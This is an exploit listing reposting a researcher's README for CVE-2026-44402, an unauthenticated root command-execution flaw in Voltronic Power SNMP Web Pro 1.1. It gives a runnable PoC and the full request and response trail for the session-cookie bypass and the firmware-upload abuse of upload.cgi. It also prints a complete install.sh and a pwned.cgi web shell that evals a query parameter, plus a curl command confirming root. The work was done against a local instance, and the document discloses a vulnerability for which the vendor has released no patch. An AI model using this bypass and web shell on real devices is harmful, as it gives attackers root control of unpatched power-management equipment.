Sploitus

Exploit for CVE-2026-44402

githubexploit Β· 2026-08-12

Exploit Code

README308 lines
## https://sploitus.com/exploit?id=958505FF-3AB4-5D7F-BAF9-19CC18961964
# CVE-2026-44402

Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1

# Content

- Affected Vendor: https://voltronicpower.com/
- Affected product: SNMP Web pro 1.1

SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the `upload.cgi` endpoint. The firmware update functionality lets users upload a tar archive, which is then extracted and installed without any input validation or security checks. The application fails to restrict or sanitize the archive contents, so an attacker can upload a crafted archive containing malicious CGI scripts. With a bit of trial and error - and a lot of help from the information each response leaks - it is possible to work out the exact archive format expected and craft a malicious one.

Additionally, the endpoint does not properly validate authentication: supplying a manipulated or invalid session cookie is enough to bypass the access controls and reach the vulnerable functionality without valid credentials, even though the front-end clearly demands a login to use it.

Successful exploitation allows an attacker to place arbitrary executable files inside the CGI server directory and execute commands with root privileges.

## Run the POC

```bash
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
```

## Writeup

All of the following was done against a local instance (`http://localhost:5555`). Two things make this whole exercise trivial from the start:

1. The backend never validates the session. A single `Cookie: -http-session-=NOT_VALID` header is all we need for every request - the `sid` query parameter is a random value generated by the front-end JavaScript and is equally ignored by the server.
2. Error messages are echoed straight back into the HTTP response body. The plan: poke the endpoint, read what it complains about, and give it exactly what it wants - until what it wants is our shell.

The steps below follow that loop. Requests are trimmed down to the minimum headers the server actually cares about.

### Step 1 - Recon: the extract call reveals its hand

The very first request already tells us where the server expects the firmware archive to live. Note that `params=extract` is asking the CGI to extract an archive, not to receive one: nothing has been uploaded yet, the endpoint simply tries to unpack whatever it expects to find on disk.

```http
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
```

Response:

```http
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124

tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8

upgrade=extract
(NAK
```

The body is gold. Besides the `(NAK` (negative acknowledgement) telling us the operation failed, the raw output of the `tar` binary is embedded verbatim in the response: it is trying to extract `/root/upgrade.tar.gz`. Also note the target install path `/root` - we are talking to a privileged process.

Two facts for the exploitation plan:
- Whatever file we upload gets renamed to `upgrade.tar.gz` and dropped into `/root`. Our filename does not matter.
- The error text we just saw will show up again on every failed attempt - it is our cheat sheet.

### Step 2 - Upload and extract a harmless archive

First, create a dummy tar archive (the upload is a multipart POST; its trace is not interesting - the GET calls drive all the behaviour):

```bash
tar czvf test.tar.gz test.txt
test.txt
```

Start the cycle: **upload** the archive, then **extract** it:

```http
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
```

```http
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=extract
(ACK
```

`(ACK` - the extraction went through without complaint. The cycle (upload -> extract -> install) is the shape of this whole exploit; from here on only the install step changes, so the next traces only show the request line and the response body (headers stay identical to the ones above).

### Step 3 - Install is picky: it wants a folder named `upgrade`

Extraction works, time to install. The response expectedly differs:

```http
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
```

```http
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63

upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
```

`(ACK` again, but the leftovers of a shell command leak through: `cd: line 1: can't cd to /root/upgrade*`. The installer runs arbitrary shell - it tries to `cd` into a glob expanding to a folder named `upgrade` inside the extracted archive. Our innocent flat archive (`test.txt` at the root) does not satisfy the glob. Easy fix: repackage with a top-level `upgrade/` directory.

```bash
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
```

Then repeat the first two steps of the cycle: re-upload, re-extract.

### Step 4 - One more error to squeeze: now it wants `install.sh`

Same install call again, and the leak gets even better:

```http
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
```

```http
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65

upgrade=install
(ACKchmod: install.sh: No such file or directory
```

It chmods a script called `install.sh` - meaning the install procedure executes a shell script from the archive, as root. At this point we control every file of the archive, so we control that script. This is the entire vulnerability in one line: arbitrary files, executed with root privileges, with no authentication.

### Step 5 - Ship the CGI shell

Build `install.sh` and `pwned.cgi` inside the `upgrade/` directory (both files are also bundled in the `upgrade/` folder of this repository).

`install.sh` unpacks the physical layout so our script is dropped into the web-root CGI directory, then fixes permissions:

```bash
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)

# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt

# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi

# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
```

`pwned.cgi` is a minimal command-dispatcher CGI: it takes the `cmd` query parameter, URL-decodes it and feeds it to `eval`. That is the remote shell:

```bash
cat upgrade/pwned.cgi
#!/bin/sh

echo "Content-Type: text/plain"
echo ""

# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"

# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')

# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')

if [ -z "$CMD" ]; then
    echo "No cmd parameter provided."
    exit 0
fi

# Execute the command and return its output
eval "$CMD" 2>&1
```

Repackage the archive:

```bash
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
```

And run the full cycle one last time:

- Re-upload
- Re-extract
- Re-install:

```http
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
```

```http
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20

upgrade=install
(ACK
```

A clean `(ACK` with no leaked error this time: the installer ran our script without complaining, and `pwned.cgi` should now be sitting in the CGI directory. A plain `whoami` confirms (quote the URL - `;` is a shell separator, and the CGI parser chokes on it) :

```bash
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
```

```text
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
```

Root, on the device's ARM Linux. From zero credentials to a root shell, the whole trip took only the two leaks above and a tar archive.

### Affected version

![image](./images/affected_versions.png)

### Patch availble?

No, vendor did not provided an answer yet. Use an ngnix reverse proxy with authentication to protect the target.

### Automation

`poc.py` automates the manual cycle 1:1. `create_in_memory_tar_archive()` builds the archive from Step 5 in memory (`install.sh` + a POST-based variant of `pwned.cgi`), then `upload_archive()`, `extract_firmware()` and `install_firmware()` replay Steps 2-4, `verify_exploit_uploaded()` waits for the CGI to appear, and `spawn_non_interactive_shell()` drops you into a `>>>` prompt whose commands are base64-encoded and POSTed to `pwned.cgi`.

# Video

[![Watch the video](https://img.youtube.com/vi/mK-s_bBCZ8g/maxresdefault.jpg)](https://www.youtube.com/watch?v=mK-s_bBCZ8g)